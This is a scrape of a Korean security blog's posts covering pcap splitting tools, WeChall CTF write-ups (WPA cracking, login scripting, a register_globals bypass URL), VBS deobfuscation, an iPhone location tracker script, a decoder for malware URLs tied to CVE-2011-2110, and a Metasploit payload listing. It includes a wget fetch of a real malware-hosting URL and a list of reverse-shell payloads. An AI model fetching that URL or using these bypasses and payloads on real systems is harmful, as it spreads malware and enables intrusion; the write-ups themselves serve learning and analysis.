\u0026#34;-F\u0026#34; option will list the file types. -T \u0026lt;encap type\u0026gt; set the output file encapsulation type; default is the same as the input file. an empty \u0026#34;-T\u0026#34; option will list the encapsulation types. Miscellaneous: -h display this help and exit. -v verbose output. If -v is used with any of the \u0026#39;Duplicate Packet Removal\u0026#39; options (-d, -D or -w) then Packet lengths and MD5 hashes are printed to standard-out. 예제1) input.cap 파일에서 처음부터 100 개까지의 패킷을 output.cap 에 저장 1 # editcap -r input.cap output.cap 1-100 예제2) input.pcap 에서 output.pcap 파일에 10000 개의 패킷을 저장 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # editcap -c 10000 input.pcap output.pcap # ls input.pcap output.pcap-00011 output.pcap-00024 output.pcap-00037 t.pcap output.pcap-00012 output.pcap-00025 output.pcap-00038 output.pcap-00000 output.pcap-00013 output.pcap-00026 output.pcap-00039 output.pcap-00001 output.pcap-00014 output.pcap-00027 output.pcap-00040 output.pcap-00002 output.pcap-00015 output.pcap-00028 output.pcap-00041 output.pcap-00003 output.pcap-00016 output.pcap-00029 output.pcap-00042 output.pcap-00004 output.pcap-00017 output.pcap-00030 output.pcap-00043 output.pcap-00005 output.pcap-00018 output.pcap-00031 output.pcap-00044 output.pcap-00006 output.pcap-00019 output.pcap-00032 output.pcap-00045 output.pcap-00007 output.pcap-00020 output.pcap-00033 output.pcap-00046 output.pcap-00008 output.pcap-00021 output.pcap-00034 output.pcap-00047 output.pcap-00009 output.pcap-00022 output.pcap-00035 output.pcap-00048 output.pcap-00010 output.pcap-00023 output.pcap-00036 만약 input.pcap 이 10,000 개 이상인 경우는 10,000 개 단위로 output.pcap 뒤에 숫자가 붙어 만들어 진다.\n예제3) -i 옵션을 통해 초 단위로 패킷을 나눈다. 1 # editcap -i 60 input.pcap output.pcap 예제4) 특정 시간범위를 지정하여 패킷 추출 1 # editcap -v -A \u0026#34;2010-01-15 14:00:00\u0026#34; -B \u0026#34;2010-01-15 15:00:00\u0026#34; input.cap output.cap -v 는 verbose 로 좀더 자세한 정보를 출력해 준다. -A 와 -B 로 시작과 끝을 지정한다.\n예제5) 여러개의 범위를 지정하여 패킷 추출 하기 1 # editcap input.cap output.cap 1-100 500-600 1-100 번 까지 그리고 500-600 번 까지의 패킷을 output.cap 에 저장한다.\n예제6) -r 옵션의 차이를 정확히 이해하자 1 # editcap input.cap output.cap 1 10 200-300 500-700 1, 10, 200-300, 500-700 을 제외하고 output.cap 에 저장한다.\n1 # editcap -r input.cap output.cap 1 10 200-300 500-700 1, 10, 200-300, 500-700 만 선택하여 output.cap 에 저장한다.\n출처 : http://www.packetinside.com/2010/01/%EB%B6%84%EC%84%9D%ED%95%A0-%ED%8C%A8%ED%82%B7-%EB%8D%B0%EC%9D%B4%ED%84%B0-%ED%81%AC%EA%B8%B0%EA%B0%80-%ED%81%B0-%EA%B2%BD%EC%9A%B0%EB%8A%94-%EC%9D%B4%EB%A0%87%EA%B2%8C-%ED%95%98%EC%9E%90.html\nSplitCap 툴을 이용하는 방법 SplitCap : http://splitcap.sourceforge.net/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 D:\\Security Tools\\Network Tools\\pcap Analysis\\SplitCap_1-6\u0026gt;SplitCap.exe Usage: SplitCap [OPTIONS]... OPTIONS: -r \u0026lt;input_file\u0026gt; : Set the pcap file to read from -o \u0026lt;output_directory\u0026gt; : Manually specify output directory -d : Delete previous output data -p \u0026lt;nr_parallel_sessions\u0026gt; : Set the number of parallel sessions to keep in memory (default = 10000). More sessions might be needed to split pcap files from busy links such as an Internet backbone link, this will however require more memory -b \u0026lt;file_buffer_bytes\u0026gt; : Set the number of bytes to buffer for each session/output file (default = 10000). Larger buffers will speed up the process due to fewer disk write operations, but will occupy more memory. -s \u0026lt;GROUP\u0026gt; : Split traffic and group packets to pcap files based on \u0026lt;GROUP\u0026gt; Possible values for \u0026lt;GROUP\u0026gt; are: flow : Each flow, i.e. unidirectional traffic for a 5-tuple, is grouped host : Traffic grouped to one file per host. Most packets will end up in two files. hostpair : Traffic grouped based on host-pairs communicating nosplit : Do not split traffic. Only create ONE output pcap. (default) session : Packets for each session (bi-directional flow) are grouped -ip \u0026lt;IP address to filter on\u0026gt; -port \u0026lt;port number to filter on\u0026gt; -y \u0026lt;FILETYPE\u0026gt; : Output file type for extracted data. Possible values for \u0026lt;FILETYPE\u0026gt; are: L7 : Only store application layer data (default) pcap : Store complete pcap frames Example 1: SplitCap -r dumpfile.pcap Example 2: SplitCap -r dumpfile.pcap -o session_directory Example 3: SplitCap -r dumpfile.pcap -s hostpair Example 4: SplitCap -r dumpfile.pcap -s flow -y L7 Example 5: SplitCap -r dumpfile.pcap -ip 1.2.3.4 -port 80 -port 443 -s nosplit ","date":"2011-07-05T15:08:08Z","permalink":"/2011/07/05/%EC%82%AC%EC%9D%B4%EC%A6%88%EA%B0%80-%ED%81%B0-pcap-%ED%8C%8C%EC%9D%BC-%EB%B6%84%ED%95%A0-%EB%B0%A9%EB%B2%95/","title":"사이즈가 큰 pcap 파일 분할 방법"},{"content":"지난번에 있었던 예선을 1등으로 통과하고 오늘 본선이 있었습니다. https://jjoon.net/2011/06/25/제8회-해킹방어대회-본선진출/\n해킹방어대회는 작년에 이어 두번째 본선이라 시작할땐 작년보다 긴장은 덜되었지만 막상 문제풀이가 시작되고 문제를 풀어 공격코드를 작성 후 다른 팀들을 공격할때는 긴장이 엄청 되더군요.....\n마지막에 겨우 역전하여 우승을 했습니다! 오늘은 정말 최고의 하루인거 같네요.\n관련 기사를 모아 봅니다 :-)\nhttp://www.boannews.com/media/view.asp?idx=26791\u0026kind=1 http://www.dailysecu.com/news_view.php?article_id=193 http://www.asiae.co.kr/news/view.htm?idxno=2011070517574240433 http://www.hankyung.com/news/app/newsview.php?aid=2011070515711\u0026sid=0104\u0026nid=004\u0026ltype=1 http://blog.daum.net/hellopolicy/6981162 http://blog.hankyung.com/kim215/blog/8216052\n","date":"2011-07-05T14:21:15Z","permalink":"/2011/07/05/%EC%A0%9C8%ED%9A%8C-%ED%95%B4%ED%82%B9%EB%B0%A9%EC%96%B4%EB%8C%80%ED%9A%8C-%EC%9A%B0%EC%8A%B9/","title":"제8회 해킹방어대회 우승!"},{"content":"첫 문제는 주어진 pcap 파일을 이용해 WPA를 크랙하는 문제이다. BackTrack을 이용하여 아래와 같이 풀이가 가능하다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst wpa_psk.cap Opening wpa_psk.cap Read 17 packets. # BSSID ESSID Encryption 1 00:11:2F:DE:23:3F Z WPA (1 handshake) Choosing first network as target. Opening wpa_psk.cap Reading packets, please wait... Aircrack-ng 1.1 r1899 [00:00:00] 8 keys tested (400.14 k/s) KEY FOUND! [ jennifer ] Master Key : E6 5E 00 48 40 1F 4E 2C AF C3 C6 CA 3E 90 63 33 08 52 54 4C 5B 81 47 5D 5B E8 87 05 4F 38 E8 F4 Transient Key : 8E F7 9C 65 6C 6E 46 3B 1F 1F 3B FA FC C0 99 8B E1 AA 9E C6 35 5B F0 F2 76 D9 14 F6 2B 0B 69 2F 43 75 D1 71 0F B5 90 94 9A 0B E4 71 A5 EB 5F F8 25 E6 E1 7F 74 05 D2 27 35 C7 43 CF 78 A4 B5 13 EAPOL HMAC : 72 99 8C AA 4B 4E A5 0A 2B 4D AF 31 BA 26 37 08 root@bt:~# 답을 입력하면 다시 새로운 문제가 나온다. 특정 URL을 접속하면 username 및 password를 알 수 있다. 3초안에 로그인을 해야 하므로 아래와 같이 코드를 작성하여 로그인을 할 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env python import httplib, urllib, re params = urllib.urlencode({\u0026#39;login\u0026#39;:[\u0026#39;admin\u0026#39;, \u0026#39;1\u0026#39;]}) headers = { \u0026#39;Content-type\u0026#39;:\u0026#39;application/x-www-form-urlencoded\u0026#39;, \u0026#39;Accept\u0026#39;:\u0026#39;text/plain\u0026#39;, \u0026#39;Cookie\u0026#39;:\u0026#39;WC4_SID=934709-6203-8W6KlYS3QXJDasnk\u0026#39; } conn = httplib.HTTPConnection(\u0026#39;www.wechall.net:80\u0026#39;) conn.request(\u0026#39;POST\u0026#39;, \u0026#39;/challenge/Z/blackhattale/login.php?action=request\u0026#39;, params, headers) response = conn.getresponse() print response.status, response.reason data = response.read() password = re.search(\u0026#39;username=admin3\u0026amp;password=(\\d+)\u0026#39;, data).group(1) print password print \u0026#39;#############################################################\u0026#39; conn.request(\u0026#39;POST\u0026#39;, \u0026#39;/challenge/Z/blackhattale/login.php?action=login\u0026amp;username=admin3\u0026amp;password=\u0026#39; + str(password), params, headers) response = conn.getresponse() print response.status, response.reason data = response.read() print data conn.close() 로그인을 성공하면 http://www.wechall.net/challenge/Z/blackhattale/upload_asc.php URL로 이동함을 알 수 있다. 해당 페이지로 이동하면 asc 파일이 주어지는데 Cain\u0026amp;Abel 툴을 이용하여 풀이가 가능하다. 단 최신버전이 아닌 구버전으로 해야 한다.\nCain\u0026amp;Abel 4.92 : http://www.dudael.net/OldVersions/Cain%20\u0026%20Abel%204.9.2.exe\n해당 툴에서 [Tools] - [RSA SecureID Token Calculator] 메뉴에서 asc 파일을 import 한 후 문제에서 주어진 27. of July, 2012 14:24 GMT+1 시간으로 설정하여 확인하면 474358 값이 나온다.\n나의 경우에는 해당 값이 나오지 않아 그냥 하루치를 뽑아서 Brueforce 하여 풀었다.\n","date":"2011-07-02T11:46:10Z","permalink":"/2011/07/02/a-black-hats-tale/","title":"A Black Hats Tale"},{"content":"이번 문제는 현재 풀이는 하는 시스템의 IP로 아래와 같은 주소로 요청을 보낸다. http://121.190.4.106:80/ByJJoon/[0-9]+_mul_[0-9]+.html\n요청을 받은 후 첫번째 숫자와 두번째 숫자를 곱해서 다시 응답해주는 문제이다. 간단하게 아래와 같이 코드를 작성하여 풀이가 가능하다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env python import socket, re HOST = \u0026#39;0.0.0.0\u0026#39; PORT = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(1) conn, addr = s.accept() print \u0026#39;Connected by\u0026#39;, addr data = conn.recv(1024) print data tmp = re.search(\u0026#39;GET /ByJJoon/(\\d+_mul_\\d+).html HTTP/1.1\u0026#39;, data) tmp = tmp.group(1) tmp = re.sub(\u0026#39;_mul_\u0026#39;, \u0026#39;*\u0026#39;, tmp) output = eval(tmp) print output conn.send(str(output)) conn.close() s.close() ","date":"2011-07-02T07:37:20Z","permalink":"/2011/07/02/www-rewrites/","title":"WWW-Rewrites"},{"content":"문제의 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # Send request? if (isset($_POST[\u0026#39;password\u0026#39;]) \u0026amp;\u0026amp; isset($_POST[\u0026#39;username\u0026#39;]) \u0026amp;\u0026amp; is_string($_POST[\u0026#39;password\u0026#39;]) \u0026amp;\u0026amp; is_string($_POST[\u0026#39;username\u0026#39;]) ) { $uname = mysql_real_escape_string($_POST[\u0026#39;username\u0026#39;]); $pass = md5($_POST[\u0026#39;password\u0026#39;]); $query = \u0026#34;SELECT level FROM \u0026#34;.GWF_TABLE_PREFIX.\u0026#34;wc_chall_reg_glob WHERE username=\u0026#39;$uname\u0026#39; AND password=\u0026#39;$pass\u0026#39;\u0026#34;; $db = gwf_db(); if (false === ($row = $db-\u0026gt;queryFirst($query))) { echo GWF_HTML::error(\u0026#39;Register Globals\u0026#39;, $chall-\u0026gt;lang(\u0026#39;err_failed\u0026#39;)); } else { # Login success $login = array($_POST[\u0026#39;username\u0026#39;], (int)$row[\u0026#39;level\u0026#39;]); } } if (isset($login)) { echo GWF_HTML::message(\u0026#39;Register Globals\u0026#39;, $chall-\u0026gt;lang(\u0026#39;msg_welcome_back\u0026#39;, htmlspecialchars($login[0]), htmlspecialchars($login[1]))); if (strtolower($login[0]) === \u0026#39;admin\u0026#39;) { $chall-\u0026gt;onChallengeSolved(GWF_Session::getUserID()); } } 여기서 Register Globals 옵션이 꺼져 있으면 login 변수를 GET 인자로 전달할 수 있다. 따라서 아래와 같이 GET 인자를 구성하여 넘기면 된다.\nhttp://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin\u0026login[1]=1\n참고 : http://php.net/manual/en/security.globals.php\n","date":"2011-07-02T07:04:42Z","permalink":"/2011/07/02/register-globals/","title":"Register Globals"},{"content":"Your task is simple: Find the first two primes above 1 million, whose separate digit sums are also prime. As example take 23, which is a prime whose digit sum, 5, is also prime. The solution is the concatination of the two numbers, Example: If the first number is 1,234,567 and the second is 8,765,432, your solution is 12345678765432\n1000000 이상의 수중에서 소수이며 각자리 숫자의 합 역시 소수인 두개의 숫자를 찾아서 이어서 인증을 하라는 문제이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/env python # -*- coding: utf-8 -*- import math # 1이면 소수, 0이면 소수 아님 def isprime(i): if i == 1 or i == 2: return 1 for x in range(2, i): if i % x == 0: return 0 break return 1 i = 1000000 count = 0 while 1: sum = 0 if count == 2: break elif isprime(i) == 1: for x in str(i): sum += int(x) if isprime(sum) == 1: print i count += 1 i += 1 답은 10000331000037\n","date":"2011-07-02T05:25:44Z","permalink":"/2011/07/02/prime-factory/","title":"Prime Factory"},{"content":"일반적으로 Autorun 계열 악성코드가 많으며 난독화 되어있는 경우 아래와 같이 Execute 로 실행하도록 되어 있다.\n1 Execute (chr( 659772/8046 ) blahblahblah...... ) 따라서 이부분을 아래와 같이 변경하면 얼랏창으로 확인이 가능하다.\n1 wscript.echo (chr( 659772/8046 ) blahblahblah...... ) 또는 아래와 같이 수정하여 사용하여도 무방하다.\n1 2 3 Dim console Set console = WScript.StdOut console.WriteLine (chr( 659772/8046 ) blahblahblah...... ) ","date":"2011-06-30T07:38:28Z","permalink":"/2011/06/30/visual-basic-%EB%82%9C%EB%8F%85%ED%99%94-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%95%B4%EC%A0%9C-%ED%8C%81/","title":"Visual Basic 난독화 스크립트 해제 팁"},{"content":"2011년 데프콘 포렌직 300번, 그리고 이번 8회 해킹방어대회 예선 1번 문제가 거의 유사했다. 지난 데프콘 때 아쉽게 못푼 문제였는데 그때 좀 더 코드를 다듬어 놓는다는걸 깜빡하고 있다 이번 기회에 작성하게 되었다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #!C:\\Python27\\Python.exe # -*- coding: utf-8 -*- # Code ByJJoon (2011-06-26) # 해킹방어대회 예선 1번 문제 풀이용 from datetime import datetime import sqlite3, sys # kml은 구글어스 파일 # /private/var/root/Library/Caches/locationd/consolidated.db if len(sys.argv) \u0026lt; 2: print \u0026#39;Usage:%s consolidated.db\u0026#39; % sys.argv[0] sys.exit(1) conn = sqlite3.connect(sys.argv[1]) conn.row_factory = sqlite3.Row curs = conn.cursor() curs.execute(\u0026#39;select * from celllocation order by timestamp desc\u0026#39;) f = open(\u0026#39;output.kml\u0026#39;, \u0026#39;w\u0026#39;) # KML header f.write(\u0026#39;\u0026#39;\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u0026lt;kml xmlns=\u0026#34;http://www.opengis.net/kml/2.2\u0026#34; xmlns:gx=\u0026#34;http://www.google.com/kml/ext/2.2\u0026#34; xmlns:kml=\u0026#34;http://www.opengis.net/kml/2.2\u0026#34; xmlns:atom=\u0026#34;http://www.w3.org/2005/Atom\u0026#34;\u0026gt;\u0026lt;Document\u0026gt;\u0026lt;name\u0026gt;Iphone Tracker.kml\u0026lt;/name\u0026gt;\u0026lt;Style id=\u0026#34;sn_ylw-pushpin\u0026#34;\u0026gt;\u0026lt;/Style\u0026gt;\u0026lt;Folder\u0026gt; \u0026lt;name\u0026gt;Cell\u0026lt;/name\u0026gt;\u0026lt;open\u0026gt;1\u0026lt;/open\u0026gt;\u0026#39;\u0026#39;\u0026#39;) # KML data for row in curs: lat, lon, ts = row[\u0026#34;Latitude\u0026#34;], row[\u0026#34;Longitude\u0026#34;], row[\u0026#34;Timestamp\u0026#34;] # Apple uses timestamps that store the number of seconds since 2001... # KST (UTC+9) : 32400 dt = datetime.utcfromtimestamp(int(ts) + 978307200) log = dt.strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;) f.write(\u0026#39;\u0026#39;\u0026#39; \u0026lt;Placemark\u0026gt; \u0026lt;name\u0026gt;%s\u0026lt;/name\u0026gt; \u0026lt;Point\u0026gt; \u0026lt;altitudeMode\u0026gt;relativeToGround\u0026lt;/altitudeMode\u0026gt; \u0026lt;coordinates\u0026gt;%s,%s,0\u0026lt;/coordinates\u0026gt; \u0026lt;/Point\u0026gt; \u0026lt;/Placemark\u0026gt;\u0026#39;\u0026#39;\u0026#39; % (log, lon, lat) ) # KML footer f.write(\u0026#39;\u0026#39;\u0026#39;\u0026lt;/Folder\u0026gt;\u0026lt;/Document\u0026gt;\u0026lt;/kml\u0026gt;\u0026#39;\u0026#39;\u0026#39;) f.close() 실행하면 output.kml 파일이 생성되며 이걸 구글어스에서 열면 아래와 같이 알 수 있다.\n","date":"2011-06-26T04:11:18Z","permalink":"/2011/06/26/iphone-tracker-%EC%A0%9C-8%ED%9A%8C-%ED%95%B4%ED%82%B9%EB%B0%A9%EC%96%B4%EB%8C%80%ED%9A%8C-%EC%98%88%EC%84%A0-1%EB%B2%88/","title":"Iphone Tracker (제 8회 해킹방어대회 예선 1번)"},{"content":"2011년 6월 24일, 25일 양일간 해킹방어대회 예선이 있었습니다. 보통 대회 예선은 각자 집에서 참가를 했었는데, 이번에는 좀 더 원활한 커뮤니케이션을 위해 다같이 모여서 했습니다.\n이번에 저희는 n0cdh 라는 팀으로 나가 1위로 통과하였네요. 위 사진은 1등이지만 1등같지 않은 컨셉으로 찍은 사진 :-) 그럼 본선에서 뵙겠습니다!\n","date":"2011-06-25T14:49:32Z","permalink":"/2011/06/25/%EC%A0%9C8%ED%9A%8C-%ED%95%B4%ED%82%B9%EB%B0%A9%EC%96%B4%EB%8C%80%ED%9A%8C-%EB%B3%B8%EC%84%A0%EC%A7%84%EC%B6%9C/","title":"제8회 해킹방어대회 본선진출!"},{"content":"최근 CVE-2011-2110 취약점을 이용하여 악성코드를 유포하는 내용을 살펴보면 악성코드를 다운로드 받는 URL이 이전과는 조금 다르게 암호화 되어 있다.\nXOR은 기본이며, XOR 후 zlib으로 압축되어 있는데 해당 URL을 찾기 편하게 간단하게 스크립트로 짜보았다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/usr/bin/env python # -*- coding: utf-8 -*- import zlib, operator, sys, os # info 변수 인자값에서 URL XOR zlib 키 찾는 함수 def findkey(info): for count in range(256): data = \u0026#39;\u0026#39; for x in range(0, len(info), 2): data += chr(operator.xor(int(info[x:x+2], 16), count)) if ord(data[0]) == 0x78: if ord(data[1]) == 0x01 or ord(data[1]) == 0x5e or ord(data[1]) == 0x9c or ord(data[1]) == 0xda: return \u0026#39;[+] Malware URL : \u0026#39; + zlib.decompress(data) return None # 메인 함수 def main(): if len(sys.argv) != 2: print \u0026#39;Usage:\u0026#39; + sys.argv[0] + \u0026#39; value\u0026#39; sys.exit() url = findkey(sys.argv[1]) if url == None: print \u0026#39;[-] Not found url key\u0026#39; sys.exit() else: print url if __name__ == \u0026#34;__main__\u0026#34;: print \u0026#39;[+] Start\u0026#39; main() print \u0026#39;[+] End\u0026#39; 사용은 아래와 같이 가능하다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;whatzlib.py \u0026#34;02e6b1525353caa8ad4d4daa49ccaec9ceae494e4aa85534a851d3527b7a1b6b7d37\u0026#34; [+] Start [+] Malware URL : http://70.39.99.102/sb.txt [+] End D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;wget http://70.39.99.102/sb.txt --2011-06-18 05:45:03-- http://70.39.99.102/sb.txt Connecting to 70.39.99.102:80... connected. HTTP request sent, awaiting response... 200 OK Length: 63953 (62K) [text/plain] Saving to: `sb.txt\u0026#39; 100%[========================================================================================\u0026gt;] 63,953 --.-K/s in 0s 2011-06-18 05:45:04 (123 MB/s) - `sb.txt\u0026#39; saved [63953/63953] D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;file sb.txt sb.txt: data D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;xor.py sb.txt ByJJoon XOR Decoder! [+] Start [-] Not found XOR key [+] Find zlib XOR key : 0x7A [+] End D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;file sb.txt_zlib sb.txt_zlib: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive 위 내용들은 모두 왼쪽 XOR DECODER 메뉴에서 사용이 가능하다.\n끝으로 자세한 내용은 http://redhidden.tistory.com/36 페이지를 참고하시면 많은 도움이 될거 같다.\n","date":"2011-06-17T20:46:48Z","permalink":"/2011/06/17/zlib%EC%9C%BC%EB%A1%9C-%EC%95%95%EC%B6%95%EB%90%9C-url-%ED%99%95%EC%9D%B8%ED%95%98%EB%8A%94-%EC%BD%94%EB%93%9C-cve-2011-2110-%EA%B4%80%EB%A0%A8/","title":"zlib으로 압축된 URL 확인하는 코드 (CVE-2011-2110 관련)"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + -- --=[ 688 exploits - 357 auxiliary - 39 post + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12644 updated today (2011.05.17) msf \u0026gt; show payloads Payloads ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline aix/ppc/shell_interact normal AIX execve shell for inetd aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline bsd/sparc/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline bsd/sparc/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline bsd/x86/exec normal BSD Execute Command bsd/x86/metsvc_bind_tcp normal FreeBSD Meterpreter Service, Bind TCP bsd/x86/metsvc_reverse_tcp normal FreeBSD Meterpreter Service, Reverse TCP Inline bsd/x86/shell/bind_tcp normal BSD Command Shell, Bind TCP Stager bsd/x86/shell/find_tag normal BSD Command Shell, Find Tag Stager bsd/x86/shell/reverse_tcp normal BSD Command Shell, Reverse TCP Stager bsd/x86/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline bsd/x86/shell_find_port normal BSD Command Shell, Find Port Inline bsd/x86/shell_find_tag normal BSD Command Shell, Find Tag Inline bsd/x86/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline bsdi/x86/shell/bind_tcp normal BSDi Command Shell, Bind TCP Stager bsdi/x86/shell/reverse_tcp normal BSDi Command Shell, Reverse TCP Stager bsdi/x86/shell_bind_tcp normal BSDi Command Shell, Bind TCP Inline bsdi/x86/shell_find_port normal BSDi Command Shell, Find Port Inline bsdi/x86/shell_reverse_tcp normal BSDi Command Shell, Reverse TCP Inline cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (inetd) cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat -e) cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via perl) cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby) cmd/unix/generic normal Unix Command, Generic command execution cmd/unix/interact normal Unix Command, Interact with established connection cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet) cmd/unix/reverse_bash normal Unix Command Shell, Reverse TCP (/dev/tcp) cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat -e) cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via perl) cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby) cmd/windows/adduser normal Windows Execute net user /ADD CMD cmd/windows/bind_perl normal Windows Command Shell, Bind TCP (via perl) cmd/windows/bind_ruby normal Windows Command Shell, Bind TCP (via Ruby) cmd/windows/download_exec_vbs normal Windows Executable Download and Execute (via .vbs) cmd/windows/reverse_perl normal Windows Command, Double reverse TCP connection (via perl) cmd/windows/reverse_ruby normal Windows Command Shell, Reverse TCP (via Ruby) generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline generic/tight_loop normal Generic x86 Tight Loop java/jsp_shell_bind_tcp normal Java JSP Command Shell, Bind TCP Inline java/jsp_shell_reverse_tcp normal Java JSP Command Shell, Reverse TCP Inline java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP stager java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP stager java/shell/bind_tcp normal Command Shell, Java Bind TCP stager java/shell/reverse_tcp normal Command Shell, Java Reverse TCP stager linux/armle/adduser normal Linux Add User linux/armle/exec normal Linux Execute Command linux/armle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/mipsbe/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/mipsle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/ppc/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/ppc/shell_find_port normal Linux Command Shell, Find Port Inline linux/ppc/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/ppc64/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/ppc64/shell_find_port normal Linux Command Shell, Find Port Inline linux/ppc64/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x86/adduser normal Linux Add User linux/x86/chmod normal Linux Chmod linux/x86/exec normal Linux Execute Command linux/x86/meterpreter/bind_ipv6_tcp normal Linux Meterpreter, Bind TCP Stager (IPv6) linux/x86/meterpreter/bind_tcp normal Linux Meterpreter, Bind TCP Stager linux/x86/meterpreter/find_tag normal Linux Meterpreter, Find Tag Stager linux/x86/meterpreter/reverse_ipv6_tcp normal Linux Meterpreter, Reverse TCP Stager (IPv6) linux/x86/meterpreter/reverse_tcp normal Linux Meterpreter, Reverse TCP Stager linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind TCP Stager (IPv6) linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager linux/x86/shell/find_tag normal Linux Command Shell, Find Tag Stager linux/x86/shell/reverse_ipv6_tcp normal Linux Command Shell, Reverse TCP Stager (IPv6) linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind TCP Inline (IPv6) linux/x86/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/x86/shell_find_port normal Linux Command Shell, Find Port Inline linux/x86/shell_find_tag normal Linux Command Shell, Find Tag Inline linux/x86/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x86/shell_reverse_tcp2 normal Linux Command Shell, Reverse TCP Inline - Metasm demo netware/shell/reverse_tcp normal NetWare Command Shell, Reverse TCP Stager osx/armle/execute/bind_tcp normal OSX Write and Execute Binary, Bind TCP Stager osx/armle/execute/reverse_tcp normal OSX Write and Execute Binary, Reverse TCP Stager osx/armle/shell/bind_tcp normal OSX Command Shell, Bind TCP Stager osx/armle/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager osx/armle/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline osx/armle/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline osx/armle/vibrate normal OSX iPhone Vibrate osx/ppc/shell/bind_tcp normal 